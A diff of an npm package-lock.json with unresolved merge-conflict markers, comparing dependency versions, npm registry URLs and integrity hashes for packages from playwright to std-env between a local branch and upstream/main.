"node": ">=0.10.0" + } + }, +======= +>>>>>>> upstream/main "node_modules/pirates": { "version": "4.0.7", "resolved": "https://registry.npmjs.org/pirates/-/pirates-4.0.7.tgz", @@ -13571,6 +15809,15 @@ } }, "node_modules/playwright": { +<<<<<<< HEAD + "version": "1.61.1", + "resolved": "https://registry.npmjs.org/playwright/-/playwright-1.61.1.tgz", + "integrity": "sha512-DWnY5o3YbLWK4GovuAVwpqL+1VwGNdUGrRr++8j8PtQQzvAVZUIMjKQ90fY689sEJZJBbZVw1rXaOKSTitkzPQ==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "playwright-core": "1.61.1" +======= "version": "1.64.0", "resolved": "https://registry.npmjs.org/playwright/-/playwright-1.64.0.tgz", "integrity": "sha512-kVzTnYFYEyQ9RGzBjNCd2+yEqWmVbxl3AHPynv3qQ6JTjv4a+kwRcnqQwIpuP3NnrnIrE/Q6wWAIAvMfIE2/Yg==", @@ -13578,11 +15825,24 @@ "license": "Apache-2.0", "dependencies": { "playwright-core": "1.64.0" +>>>>>>> upstream/main }, "bin": { "playwright": "cli.js" }, "engines": { +<<<<<<< HEAD + "node": ">=18" + }, + "optionalDependencies": { + "fsevents": "2.3.2" + } + }, + "node_modules/playwright-core": { + "version": "1.61.1", + "resolved": "https://registry.npmjs.org/playwright-core/-/playwright-core-1.61.1.tgz", + "integrity": "sha512-h7Qlt6m4REp25qvIdvbDtVmD4LqVXfpRxhORv9L0jzETM05p4fuPJ3dKyuSXQxDSbXnmS79HAgi9589lGSpLkg==", +======= "node": ">=20" } }, @@ -13590,13 +15850,18 @@ "version": "1.64.0", "resolved": "https://registry.npmjs.org/playwright-core/-/playwright-core-1.64.0.tgz", "integrity": "sha512-T9r+MZkTECl2+oUcZ26YgZzTrYidTsIhYYkJix+6iDOymOb1FB2RLLSOxRGnZGv5DStt+aduIVbt+E8WygXYpg==", +>>>>>>> upstream/main "dev": true, "license": "Apache-2.0", "bin": { "playwright-core": "cli.js" }, "engines": { +<<<<<<< HEAD + "node": ">=18" +======= "node": ">=20" +>>>>>>> upstream/main } }, "node_modules/png-js": { @@ -13626,9 +15891,15 @@ } }, "node_modules/postcss": { +<<<<<<< HEAD + "version": "8.5.16", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.16.tgz", + "integrity": "sha512-vuwillviilfKZsg0VGj5R/YwwcHx4SLsIOI/7K6mQkWx+l5cUHTjj5g0AasTBcyXsbfTgrwsUNmVUb5xVwyPwg==", +======= "version": "8.5.29", "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.29.tgz", "integrity": "sha512-49cGhUbXj8Qenv0iTMxA1cFBzxXoctpC9Ujd77t1WcbJIr6nF/eI7g/8MgxrYldFRuAXvja7xQRwavoW7kgrxQ==", +>>>>>>> upstream/main "dev": true, "funding": [ { @@ -13646,9 +15917,15 @@ ], "license": "MIT", "dependencies": { +<<<<<<< HEAD + "nanoid": "^3.3.12", + "picocolors": "^1.1.1", + "source-map-js": "^1.2.1" +======= "nanoid": "^3.3.19", "picocolors": "^1.1.1", "source-map-js": "^1.2.2" +>>>>>>> upstream/main }, "engines": { "node": "^10 || ^12 || >=14" @@ -13673,14 +15950,24 @@ } }, "node_modules/postcss-import/node_modules/resolve": { +<<<<<<< HEAD + "version": "1.22.12", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.12.tgz", + "integrity": "sha512-TyeJ1zif53BPfHootBGwPRYT1RUt6oGWsaQr8UyZW/eAm9bKoijtvruSDEmZHm92CwS9nj7/fWttqPCgzep8CA==", +======= "version": "1.22.13", "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.13.tgz", "integrity": "sha512-Dj/cW9zBV2aRj6XzCxuGIs3ESZKv02jixne3q6jFZYZ3/Tg09gHHviSMDL4kObh9pqSahdRHEnDoaP2gn8YLhA==", +>>>>>>> upstream/main "dev": true, "license": "MIT", "dependencies": { "es-errors": "^1.3.0", +<<<<<<< HEAD + "is-core-module": "^2.16.1", +======= "is-core-module": "^2.17.0", +>>>>>>> upstream/main "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, @@ -13859,6 +16146,16 @@ "url": "https://github.com/chalk/ansi-styles?sponsor=1" } }, +<<<<<<< HEAD + "node_modules/pretty-format/node_modules/react-is": { + "version": "17.0.2", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz", + "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w==", + "dev": true, + "license": "MIT" + }, +======= +>>>>>>> upstream/main "node_modules/process-nextick-args": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", @@ -13885,12 +16182,15 @@ "react-is": "^16.13.1" } }, +<<<<<<< HEAD +======= "node_modules/prop-types/node_modules/react-is": { "version": "16.13.1", "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz", "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==", "license": "MIT" }, +>>>>>>> upstream/main "node_modules/property-information": { "version": "7.2.0", "resolved": "https://registry.npmjs.org/property-information/-/property-information-7.2.0.tgz", @@ -13902,9 +16202,15 @@ } }, "node_modules/prosemirror-changeset": { +<<<<<<< HEAD + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/prosemirror-changeset/-/prosemirror-changeset-2.4.1.tgz", + "integrity": "sha512-96WBLhOaYhJ+kPhLg3uW359Tz6I/MfcrQfL4EGv4SrcqKEMC1gmoGrXHecPE8eOwTVCJ4IwgfzM8fFad25wNfw==", +======= "version": "2.4.4", "resolved": "https://registry.npmjs.org/prosemirror-changeset/-/prosemirror-changeset-2.4.4.tgz", "integrity": "sha512-Gyuz9jYdrAeA9I7AholyOes9KUmv/lEwsC5O9s5xF5VB3EgTPsXMGUxz4+H1B+wKVPdZbvRcg1Cp3x8qX+8ofA==", +>>>>>>> upstream/main "license": "MIT", "dependencies": { "prosemirror-transform": "^1.0.0" @@ -13922,9 +16228,15 @@ } }, "node_modules/prosemirror-dropcursor": { +<<<<<<< HEAD + "version": "1.8.3", + "resolved": "https://registry.npmjs.org/prosemirror-dropcursor/-/prosemirror-dropcursor-1.8.3.tgz", + "integrity": "sha512-FoYbsJR8gK+DGlqhNoE29Loa38eIZPzQRIb1VMaDNBoo4OLP6vVof/jR8qFY/6XvUd6Dhug8MDCHl2a/h8RTfQ==", +======= "version": "1.8.4", "resolved": "https://registry.npmjs.org/prosemirror-dropcursor/-/prosemirror-dropcursor-1.8.4.tgz", "integrity": "sha512-VmKxhcA6a+h5oPSYmfF1ZNeQqPbyYaIxqZsKqeYCyTlPtrjUgNaHL3P8vVaO19oqAV0zuaM/axkowZHrB1P3Tg==", +>>>>>>> upstream/main "license": "MIT", "dependencies": { "prosemirror-state": "^1.0.0", @@ -13945,9 +16257,15 @@ } }, "node_modules/prosemirror-history": { +<<<<<<< HEAD + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/prosemirror-history/-/prosemirror-history-1.5.0.tgz", + "integrity": "sha512-zlzTiH01eKA55UAf1MEjtssJeHnGxO0j4K4Dpx+gnmX9n+SHNlDqI2oO1Kv1iPN5B1dm5fsljCfqKF9nFL6HRg==", +======= "version": "1.5.1", "resolved": "https://registry.npmjs.org/prosemirror-history/-/prosemirror-history-1.5.1.tgz", "integrity": "sha512-onlwnqKvgtFg6srZOmDOAhlAy1FIHQpOExORybX0S+DvJepE5tPALrB9iGet/2sqqqrelSnB10OoiOJqAvu2DA==", +>>>>>>> upstream/main "license": "MIT", "dependencies": { "prosemirror-state": "^1.2.2", @@ -13977,9 +16295,15 @@ } }, "node_modules/prosemirror-model": { +<<<<<<< HEAD + "version": "1.25.11", + "resolved": "https://registry.npmjs.org/prosemirror-model/-/prosemirror-model-1.25.11.tgz", + "integrity": "sha512-QWg9RhnpLlogAmp3p96uEFrE5txQpFynd4vhBAELkwgOCWQs/X0yCzB3/hrHqiPwf91RG5KyWq6553zs9JqIOQ==", +======= "version": "1.25.12", "resolved": "https://registry.npmjs.org/prosemirror-model/-/prosemirror-model-1.25.12.tgz", "integrity": "sha512-Ue2gTmXMa7EhpLNhC7J+h4+ykD8ha12K6rrZFFKKJHBForfIStw5gJ6Zrf1mqqAa9NmpmEB4wp9bKmA4eUVjWg==", +>>>>>>> upstream/main "license": "MIT", "dependencies": { "orderedmap": "^2.0.0" @@ -14021,21 +16345,36 @@ } }, "node_modules/prosemirror-transform": { +<<<<<<< HEAD + "version": "1.12.0", + "resolved": "https://registry.npmjs.org/prosemirror-transform/-/prosemirror-transform-1.12.0.tgz", + "integrity": "sha512-GxboyN4AMIsoHNtz5uf2r2Ru551i5hWeCMD6E2Ib4Eogqoub0NflniaBPVQ4MrGE5yZ8JV9tUHg9qcZTTrcN4w==", +======= "version": "1.12.2", "resolved": "https://registry.npmjs.org/prosemirror-transform/-/prosemirror-transform-1.12.2.tgz", "integrity": "sha512-PE/aY0HEY4zczvmqrilgkUK/WautF0chvMqkmM/iN5/aPHvwrCWaQZjS6CIZp+K84YrvPFqrL+YArrfJX8xX7g==", +>>>>>>> upstream/main "license": "MIT", "dependencies": { "prosemirror-model": "^1.21.0" } }, "node_modules/prosemirror-view": { +<<<<<<< HEAD + "version": "1.42.2", + "resolved": "https://registry.npmjs.org/prosemirror-view/-/prosemirror-view-1.42.2.tgz", + "integrity": "sha512-Pdg0l5kXm8aLDquFAnQFTCITg0q44sLqBlHlpsVLD9segdOao8TOfQdAhCrCXyVgPSRr6UDDROOIWA3bIrN9YQ==", + "license": "MIT", + "dependencies": { + "prosemirror-model": "^1.25.8", +======= "version": "1.42.6", "resolved": "https://registry.npmjs.org/prosemirror-view/-/prosemirror-view-1.42.6.tgz", "integrity": "sha512-3g25f6hKV2bBxo3puH3EcYWmmVNSH0iWmNsMVT7sugDSpA025jgpOLarcDWr39SdzPjYMaiYtRdNtXialPSjEQ==", "license": "MIT", "dependencies": { "prosemirror-model": "^1.25.12", +>>>>>>> upstream/main "prosemirror-state": "^1.0.0", "prosemirror-transform": "^1.1.0" } @@ -14155,9 +16494,15 @@ } }, "node_modules/react-hook-form": { +<<<<<<< HEAD + "version": "7.83.0", + "resolved": "https://registry.npmjs.org/react-hook-form/-/react-hook-form-7.83.0.tgz", + "integrity": "sha512-AXt8cMCmx5a7u4uvpb2uRFVrWQhllI4pV+LSykxIac/hjt44TnQkmX9BKuQi2i+LDC62esmiLpilkav+kjVf/A==", +======= "version": "7.89.0", "resolved": "https://registry.npmjs.org/react-hook-form/-/react-hook-form-7.89.0.tgz", "integrity": "sha512-vKcoCfy8RKZDrhSdqsRFp0uEOdS1AhLjOL6hR7Wmfzg1akNxEhaPf5WORx8SgEQPVXakdDyDkqQp+KNxVnnPHg==", +>>>>>>> upstream/main "license": "MIT", "engines": { "node": ">=18.0.0" @@ -14167,6 +16512,15 @@ "url": "https://opencollective.com/react-hook-form" }, "peerDependencies": { +<<<<<<< HEAD + "react": "^16.8.0 || ^17 || ^18 || ^19" + } + }, + "node_modules/react-is": { + "version": "16.13.1", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz", + "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==", +======= "@types/react": "*", "react": "^16.8.0 || ^17 || ^18 || ^19" }, @@ -14181,6 +16535,7 @@ "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz", "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w==", "dev": true, +>>>>>>> upstream/main "license": "MIT" }, "node_modules/react-markdown": { @@ -14242,11 +16597,22 @@ } }, "node_modules/read-cache": { +<<<<<<< HEAD + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/read-cache/-/read-cache-1.0.0.tgz", + "integrity": "sha512-Owdv/Ft7IjOgm/i0xvNDZ1LrRANRfew4b2prF3OWMQLxLfu3bS8FVhCsrSCMK4lR56Y9ya+AThoTpDCTxCmpRA==", + "dev": true, + "license": "MIT", + "dependencies": { + "pify": "^2.3.0" + } +======= "version": "1.0.2", "resolved": "https://registry.npmjs.org/read-cache/-/read-cache-1.0.2.tgz", "integrity": "sha512-/peqiBB/n07gQGLsWaHho3WfvUyRscw0gYTsEFMhrIe/nWLkYaf5SbKYjGYqtRV3aPwykJgF2VEMo1ac4bnsGA==", "dev": true, "license": "MIT" +>>>>>>> upstream/main }, "node_modules/readable-stream": { "version": "3.6.2", @@ -14385,6 +16751,17 @@ } }, "node_modules/regenerate": { +<<<<<<< HEAD + "version": "1.4.2", + "resolved": "https://registry.npmjs.org/regenerate/-/regenerate-1.4.2.tgz", + "integrity": "sha512-zrceR/XhGYU/d/opr2EKO7aRHUeiBI8qjtfHqADTwZd6Szfy16la6kqD0MIUs5z5hx6AaKa+PixpPrR289+I0A==", + "license": "MIT" + }, + "node_modules/regenerate-unicode-properties": { + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/regenerate-unicode-properties/-/regenerate-unicode-properties-10.2.2.tgz", + "integrity": "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g==", +======= "version": "1.5.0", "resolved": "https://registry.npmjs.org/regenerate/-/regenerate-1.5.0.tgz", "integrity": "sha512-1s+CxXjJ71i7LNVy8nYwg47XV4y6lAnOEhsMtSKq3WpmPfhl9LuKlTqKIn/3yUpE8lBz+W+TT88Bxyhnr0U4yw==", @@ -14394,6 +16771,7 @@ "version": "10.3.0", "resolved": "https://registry.npmjs.org/regenerate-unicode-properties/-/regenerate-unicode-properties-10.3.0.tgz", "integrity": "sha512-9ns8odR8e9q3otKeHj3DE80jZYKg6zVeZKE+zQmRKXFoVUcuiTGeO6iusDhPRoIQQPVPRvH+SfBhrTud4eczuw==", +>>>>>>> upstream/main "license": "MIT", "dependencies": { "regenerate": "^1.4.2" @@ -14402,12 +16780,15 @@ "node": ">=4" } }, +<<<<<<< HEAD +======= "node_modules/regenerator-runtime": { "version": "0.13.11", "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.11.tgz", "integrity": "sha512-kY1AZVr2Ra+t+piVaJ4gxaFaReZVH40AKNo7UCX6W+dEwBo/2oZJzqfuN1qLq1oL45o56cPaTXELwrTh8Fpggg==", "license": "MIT" }, +>>>>>>> upstream/main "node_modules/regexp.prototype.flags": { "version": "1.5.4", "resolved": "https://registry.npmjs.org/regexp.prototype.flags/-/regexp.prototype.flags-1.5.4.tgz", @@ -14429,6 +16810,15 @@ } }, "node_modules/regexpu-core": { +<<<<<<< HEAD + "version": "6.4.0", + "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-6.4.0.tgz", + "integrity": "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA==", + "license": "MIT", + "dependencies": { + "regenerate": "^1.4.2", + "regenerate-unicode-properties": "^10.2.2", +======= "version": "6.5.3", "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-6.5.3.tgz", "integrity": "sha512-E8VgUoSK+LMQrLboDxavm76MTBGrQhx9RiNuomRmYnZ10Uw12HrI8fkxOOncktb2hBpzIZ9SV/347euQHG5z+g==", @@ -14436,6 +16826,7 @@ "dependencies": { "regenerate": "^1.5.0", "regenerate-unicode-properties": "^10.3.0", +>>>>>>> upstream/main "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", @@ -14452,9 +16843,15 @@ "license": "MIT" }, "node_modules/regjsparser": { +<<<<<<< HEAD + "version": "0.13.2", + "resolved": "https://registry.npmjs.org/regjsparser/-/regjsparser-0.13.2.tgz", + "integrity": "sha512-NgRBy2Nx/bE+9F27nVHnqcN5HjyLmecqsqx2PJHu3/IEtADD4WuxuXIVExD5PoSDFVrl78dOonfcOe5O+5nbzQ==", +======= "version": "0.13.4", "resolved": "https://registry.npmjs.org/regjsparser/-/regjsparser-0.13.4.tgz", "integrity": "sha512-EWV80YgFaVgFrjGCAsV7oybp4GOxbls5RzBg8OB0nKEVXsBJR1JlV8Di1JhCROg3MzTfe1RI8yitIm1eOs68iA==", +>>>>>>> upstream/main "license": "BSD-2-Clause", "dependencies": { "jsesc": "~3.1.0" @@ -14530,9 +16927,15 @@ } }, "node_modules/require-addon": { +<<<<<<< HEAD + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/require-addon/-/require-addon-1.2.0.tgz", + "integrity": "sha512-VNPDZlYgIYQwWp9jMTzljx+k0ZtatKlcvOhktZ/anNPI3dQ9NXk7cq2U4iJ1wd9IrytRnYhyEocFWbkdPb+MYA==", +======= "version": "1.3.0", "resolved": "https://registry.npmjs.org/require-addon/-/require-addon-1.3.0.tgz", "integrity": "sha512-j8pifaPNZI7ShKY3ihXZwF0qaEjua8zmlqPvDil0a8SBnyRvjCbAiEQuzO0UcoXH1sqU5U/ilXSjYd1W5NYwAA==", +>>>>>>> upstream/main "license": "Apache-2.0", "optional": true, "dependencies": { @@ -14666,6 +17069,15 @@ } }, "node_modules/rolldown": { +<<<<<<< HEAD + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/rolldown/-/rolldown-1.1.3.tgz", + "integrity": "sha512-1F1eEtUBtFvcGm1HQ9TiUIUHPQG7mSAODrhIzjxoUEFuo8OcbrGLiVLkevNgj84TE4lnHvnumwFjhJO5Eu135g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@oxc-project/types": "=0.137.0", +======= "version": "1.2.13", "resolved": "https://registry.npmjs.org/rolldown/-/rolldown-1.2.13.tgz", "integrity": "sha512-/5apOkwWxtACcQtZ5WlrAsKS4JwXVThQPJZ3RqIruRY9UG9M8e0VlXN068xum/JRKA4aIUoJ13ghe/kGCvidiQ==", @@ -14673,6 +17085,7 @@ "license": "MIT", "dependencies": { "@oxc-project/types": "=0.153.0", +>>>>>>> upstream/main "@rolldown/pluginutils": "^1.0.0" }, "bin": { @@ -14682,6 +17095,29 @@ "node": "^20.19.0 || >=22.12.0" }, "optionalDependencies": { +<<<<<<< HEAD + "@rolldown/binding-android-arm64": "1.1.3", + "@rolldown/binding-darwin-arm64": "1.1.3", + "@rolldown/binding-darwin-x64": "1.1.3", + "@rolldown/binding-freebsd-x64": "1.1.3", + "@rolldown/binding-linux-arm-gnueabihf": "1.1.3", + "@rolldown/binding-linux-arm64-gnu": "1.1.3", + "@rolldown/binding-linux-arm64-musl": "1.1.3", + "@rolldown/binding-linux-ppc64-gnu": "1.1.3", + "@rolldown/binding-linux-s390x-gnu": "1.1.3", + "@rolldown/binding-linux-x64-gnu": "1.1.3", + "@rolldown/binding-linux-x64-musl": "1.1.3", + "@rolldown/binding-openharmony-arm64": "1.1.3", + "@rolldown/binding-wasm32-wasi": "1.1.3", + "@rolldown/binding-win32-arm64-msvc": "1.1.3", + "@rolldown/binding-win32-x64-msvc": "1.1.3" + } + }, + "node_modules/rollup": { + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.62.2.tgz", + "integrity": "sha512-RFnrW4lhXA3s3eqHDZvN654g8OTjzRfqpIRJYczCGB6HzphckVAi/Qh4tbPUbRuDi7s1Llv8g/NspLkttY3gTA==", +======= "@rolldown/binding-android-arm-eabi": "1.2.13", "@rolldown/binding-android-arm64": "1.2.13", "@rolldown/binding-darwin-arm64": "1.2.13", @@ -14703,6 +17139,7 @@ "version": "4.64.2", "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.64.2.tgz", "integrity": "sha512-RxXm0XVVV1hFI3dYe12ruaOgsYQ725lUcUWeMSQqkF9tTxVErY+fy2Ets6vWhItL9MZMSNZGbvZFc7rH/VHp2Q==", +>>>>>>> upstream/main "license": "MIT", "dependencies": { "@types/estree": "1.0.9" @@ -14715,6 +17152,33 @@ "npm": ">=8.0.0" }, "optionalDependencies": { +<<<<<<< HEAD + "@rollup/rollup-android-arm-eabi": "4.62.2", + "@rollup/rollup-android-arm64": "4.62.2", + "@rollup/rollup-darwin-arm64": "4.62.2", + "@rollup/rollup-darwin-x64": "4.62.2", + "@rollup/rollup-freebsd-arm64": "4.62.2", + "@rollup/rollup-freebsd-x64": "4.62.2", + "@rollup/rollup-linux-arm-gnueabihf": "4.62.2", + "@rollup/rollup-linux-arm-musleabihf": "4.62.2", + "@rollup/rollup-linux-arm64-gnu": "4.62.2", + "@rollup/rollup-linux-arm64-musl": "4.62.2", + "@rollup/rollup-linux-loong64-gnu": "4.62.2", + "@rollup/rollup-linux-loong64-musl": "4.62.2", + "@rollup/rollup-linux-ppc64-gnu": "4.62.2", + "@rollup/rollup-linux-ppc64-musl": "4.62.2", + "@rollup/rollup-linux-riscv64-gnu": "4.62.2", + "@rollup/rollup-linux-riscv64-musl": "4.62.2", + "@rollup/rollup-linux-s390x-gnu": "4.62.2", + "@rollup/rollup-linux-x64-gnu": "4.62.2", + "@rollup/rollup-linux-x64-musl": "4.62.2", + "@rollup/rollup-openbsd-x64": "4.62.2", + "@rollup/rollup-openharmony-arm64": "4.62.2", + "@rollup/rollup-win32-arm64-msvc": "4.62.2", + "@rollup/rollup-win32-ia32-msvc": "4.62.2", + "@rollup/rollup-win32-x64-gnu": "4.62.2", + "@rollup/rollup-win32-x64-msvc": "4.62.2", +======= "@napi-rs/lzma-linux-x64-gnu": "1.5.1", "@rollup/rollup-android-arm-eabi": "4.64.2", "@rollup/rollup-android-arm64": "4.64.2", @@ -14741,6 +17205,7 @@ "@rollup/rollup-win32-ia32-msvc": "4.64.2", "@rollup/rollup-win32-x64-gnu": "4.64.2", "@rollup/rollup-win32-x64-msvc": "4.64.2", +>>>>>>> upstream/main "fsevents": "~2.3.2" } }, @@ -14852,15 +17317,26 @@ "license": "MIT" }, "node_modules/saxes": { +<<<<<<< HEAD + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/saxes/-/saxes-6.0.0.tgz", + "integrity": "sha512-xAg7SOnEhrm5zI3puOOKyy1OMcMlIJZYNJY7xLBwSze0UjhPLnWfj2GF2EpT0jmzaJKIWKHLsaSSajf35bcYnA==", + "dev": true, +======= "version": "5.0.1", "resolved": "https://registry.npmjs.org/saxes/-/saxes-5.0.1.tgz", "integrity": "sha512-5LBh1Tls8c9xgGjw3QrMwETmTMVk0oFgvrFSvWx62llR2hcEInrKNZ2GZCCuuy2lvWrdl5jhbpeqc5hRYKFOcw==", +>>>>>>> upstream/main "license": "ISC", "dependencies": { "xmlchars": "^2.2.0" }, "engines": { +<<<<<<< HEAD + "node": ">=v12.22.7" +======= "node": ">=10" +>>>>>>> upstream/main } }, "node_modules/scheduler": { @@ -14873,6 +17349,21 @@ "object-assign": "^4.1.1" } }, +<<<<<<< HEAD + "node_modules/semifies": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/semifies/-/semifies-1.0.0.tgz", + "integrity": "sha512-xXR3KGeoxTNWPD4aBvL5NUpMTT7WMANr3EWnaS190QVkY52lqqcVRD7Q05UVbBhiWDGWMlJEUam9m7uFFGVScw==", + "license": "Apache-2.0" + }, + "node_modules/semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "license": "ISC", + "bin": { + "semver": "bin/semver.js" +======= "node_modules/semver": { "version": "7.6.3", "resolved": "https://registry.npmjs.org/semver/-/semver-7.6.3.tgz", @@ -14883,6 +17374,7 @@ }, "engines": { "node": ">=10" +>>>>>>> upstream/main } }, "node_modules/serialize-javascript": { @@ -15073,10 +17565,23 @@ "license": "ISC" }, "node_modules/signal-exit": { +<<<<<<< HEAD + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-4.1.0.tgz", + "integrity": "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==", + "license": "ISC", + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } +======= "version": "3.0.7", "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz", "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==", "license": "ISC" +>>>>>>> upstream/main }, "node_modules/simple-swizzle": { "version": "0.2.4", @@ -15122,9 +17627,15 @@ } }, "node_modules/smol-toml": { +<<<<<<< HEAD + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/smol-toml/-/smol-toml-1.7.0.tgz", + "integrity": "sha512-aqVvWoyO21L23mb+drl4RmMXbf6N7FdHjAhTRA9ZBL7apWBgfWC16KjrASI+1p9GAroljyMHj6fK67i0UiTNvQ==", +======= "version": "1.9.0", "resolved": "https://registry.npmjs.org/smol-toml/-/smol-toml-1.9.0.tgz", "integrity": "sha512-hpd+HLON7HdZXqYchMM/+LaTTbdK0AU3NngIJ4KVyWbY9bfQqdL9cD+4yf6dUoU2Ap4VsU0JkQi6FxAI1B2mXQ==", +>>>>>>> upstream/main "license": "BSD-3-Clause", "engines": { "node": ">= 18" @@ -15150,6 +17661,20 @@ "license": "MIT" }, "node_modules/source-map": { +<<<<<<< HEAD + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/source-map-js": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz", + "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==", +======= "version": "0.8.0", "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.8.0.tgz", "integrity": "sha512-d8EqvL+k/SOXCreS/SUzg2ciyHqBBLcN/yuRjFsbvVhHTE2pgei7oAhmPM7kWFbkX6OSMQfUq4KbkF3au9lhYQ==", @@ -15162,6 +17687,7 @@ "version": "1.2.2", "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.2.tgz", "integrity": "sha512-KGj/8Y43x35aZVDtt+J4mK1hoLGHULMYfSkODJNQjNDC3oW1PqPoxMwo0pLUsWM/UEGzON/NxeHywEfNXNP3Vw==", +>>>>>>> upstream/main "license": "BSD-3-Clause", "engines": { "node": ">=0.10.0" @@ -15177,6 +17703,8 @@ "source-map": "^0.6.0" } }, +<<<<<<< HEAD +======= "node_modules/source-map-support/node_modules/source-map": { "version": "0.6.1", "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", @@ -15186,6 +17714,7 @@ "node": ">=0.10.0" } }, +>>>>>>> upstream/main "node_modules/sourcemap-codec": { "version": "1.4.8", "resolved": "https://registry.npmjs.org/sourcemap-codec/-/sourcemap-codec-1.4.8.tgz", @@ -15239,9 +17768,15 @@ } }, "node_modules/std-env": { +<<<<<<< HEAD + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/std-env/-/std-env-4.1.0.tgz", + "integrity": "sha512-Rq7ybcX2RuC55r9oaPVEW7/xu3tj8u4GeBYHBWCychFtzMIr86A7e3PPEBPT37sHStKX3+TiX/Fr/ACmJLVlLQ==", +======= "version": "4.3.0", "resolved": "https://registry.npmjs.org/std-env/-/std-env-4.3.0.tgz", "integrity": "sha512-OtU/EgQ1kIm5KwqQpBC6ZEMXrZRui11w8zgfTWp8cdO9B8OaPsbA8bTHO2P+HNo1VlUTGMVBwPhydu6poeXiag==", +>>>>>>> upstream/main "dev": true, "license": "MIT" }, @@ -15314,9 +17849,15 @@ "license": "MIT" }, "node_modules/string-width/node_modules/ansi-regex": { +<<<<<<< HEAD + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.2.2.tgz", + "integrity": "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==", +======= "version": "6.4.0", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.4.0.tgz", "integrity": "sha512-KzTVk2tCWAHtYrvvvaP8bJKJq2pVinhLcGEQdtLIYPbmNGNyYe8QwNaTUYQp2J7/vIsUKt5QCqAfUkYyG9DkOw==", +>>>>>>> upstream/main "license": "MIT", "engines": { "node": ">=12" @@ -15362,6 +17903,26 @@ } }, "node_modules/string.prototype.matchall": { +<<<<<<< HEAD + "version": "4.0.12", + "resolved": "https://registry.npmjs.org/string.prototype.matchall/-/string.prototype.matchall-4.0.12.tgz", + "integrity": 